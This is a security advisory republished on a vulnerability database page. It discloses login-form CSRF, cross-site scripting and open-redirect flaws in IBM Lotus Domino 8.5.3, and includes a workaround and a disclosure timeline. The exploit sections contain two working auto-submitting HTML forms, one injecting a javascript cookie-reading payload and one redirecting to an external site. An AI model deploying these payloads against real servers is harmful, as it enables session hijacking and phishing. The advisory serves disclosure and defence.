Lucene search
K

IBM Lotus Domino 8.5.3 XSS / CSRF / Redirection

🗓️ 15 Feb 2013 00:00:00Reported by MustLiveType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 62 Views

IBM Lotus Domino 8.5.3 XSS / CSRF / Redirection advisory and workaroun

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2012-4842
27 Feb 201321:00
cve
CVE
CVE-2012-4844
27 Feb 201321:00
cve
Cvelist
CVE-2012-4842
27 Feb 201321:00
cvelist
Cvelist
CVE-2012-4844
27 Feb 201321:00
cvelist
EUVD
EUVD-2012-4767
7 Oct 202500:30
euvd
EUVD
EUVD-2012-4769
7 Oct 202500:30
euvd
NVD
CVE-2012-4842
27 Feb 201321:55
nvd
NVD
CVE-2012-4844
27 Feb 201321:55
nvd
OpenVAS
IBM Lotus Domino HTTP Server Multiple Vulnerabilities
27 Mar 201300:00
openvas
Prion
Open redirect
27 Feb 201321:55
prion
Rows per page
`Hello list!  
  
These are Cross-Site Request Forgery, Cross-Site Scripting and Redirector  
vulnerabilities in IBM Lotus Domino. At 30th of November IBM released the  
advisory concerning these vulnerabilities.  
  
CVE ID: CVE-2012-4842, CVE-2012-4844.  
SecurityVulns ID: 12789.  
  
IBM Security Bulletin for Open Redirect and Cross-Site Scripting  
vulnerabilities:  
http://www-01.ibm.com/support/docview.wss?uid=swg21608160  
  
-------------------------  
Affected products:  
-------------------------  
  
Vulnerable are IBM Lotus Domino 8.5.3 and previous versions. These  
vulnerabilities will be fixed in Domino 9.0 and IBM are still working on  
other vulnerabilities, about which I've informed them. Lotus Domino 9.0  
should be released at 14.03.2013.  
  
Before release of new version all users of affected versions of IBM Lotus  
Domino are vulnerable to these attacks. And IBM didn't fix these holes in  
current 8.5.x series, only in new 9.0 series. At that they didn't offer any  
workaround or mitigation for these issues. But I'll offer such workaround  
(see bellow), which can be used before release of version 9.0 with fixes of  
these vulnerabilities.  
  
----------  
Details:  
----------  
  
Cross-Site Request Forgery (WASC-09):  
  
Lack of captcha in login form (http://site/names.nsf) can be used for  
different attacks - for CSRF-attack to login into account (remote login - to  
conduct attacks on vulnerabilities inside of account), for XSS attacks, for  
redirect, for Brute Force (which I described in other advisory) and other  
automated attacks. Which you can read about in the article "Attacks on  
unprotected login forms"  
(http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2011-April/007773.html).  
  
Examples of attacks on XSS and Redirector vulnerabilities with using of this  
CSRF vulnerability are provided bellow.  
  
Cross-Site Scripting (WASC-08):  
  
For attack it's needed to use working login and password at the site (i.e.  
the attacker needs to use existent account at the site - his own or  
someone's account, to which he got access via Brute Force vulnerability).  
  
Exploit:  
  
http://websecurity.com.ua/uploads/2013/IBM%20Lotus%20Domino%20Redirector.html  
  
<body onLoad="document.hack.submit()">  
<form name="hack" action="http://site/names.nsf?Login" method="post">  
<input type="hidden" name="Username" value="login">  
<input type="hidden" name="Password" value="password">  
<input type="hidden" name="RedirectTo"  
value="javascript:alert(document.cookie)">  
</form>  
</body>  
  
Redirector (URL Redirector Abuse) (WASC-38):  
  
For attack it's needed to use working login and password at the site (i.e.  
the attacker needs to use existent account at the site - his own or  
someone's account, to which he got access via Brute Force vulnerability).  
  
Exploit:  
  
http://websecurity.com.ua/uploads/2013/IBM%20Lotus%20Domino%20Redirector.html  
  
<body onLoad="document.hack.submit()">  
<form name="hack" action=http://site/names.nsf?Login method="post">  
<input type="hidden" name="Username" value="login">  
<input type="hidden" name="Password" value="password">  
<input type="hidden" name="RedirectTo" value="http://websecurity.com.ua">  
</form>  
</body>  
  
-----------------  
Workaround:  
-----------------  
  
My workaround for these vulnerabilities is the next: turn off html-form for  
login and use Basic Authentication instead.  
  
------------  
Timeline:  
------------   
  
Full timeline read in the first advisory  
(http://securityvulns.ru/docs28474.html).  
  
- During 16.05-20.05 I've wrote announcements about multiple vulnerabilities  
in IBM software at my site.  
- During 16.05-20.05 I've wrote five advisories via contact form at IBM  
site.  
- At 31.05 I've resend five advisories to IBM PSIRT, which they received and  
said they would send them to the developers (of Lotus products).  
- At 30.11.2012 IBM released their advisory (about Cross-Site Scripting and  
Redirector holes).  
- At 14.12.2012 I've informed SecurityVulns about it.  
- At 15.02.2013 I've disclosed these vulnerabilities at my site  
(http://websecurity.com.ua/5835/).  
  
Best wishes & regards,  
MustLive  
Administrator of Websecurity web site  
http://websecurity.com.ua   
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation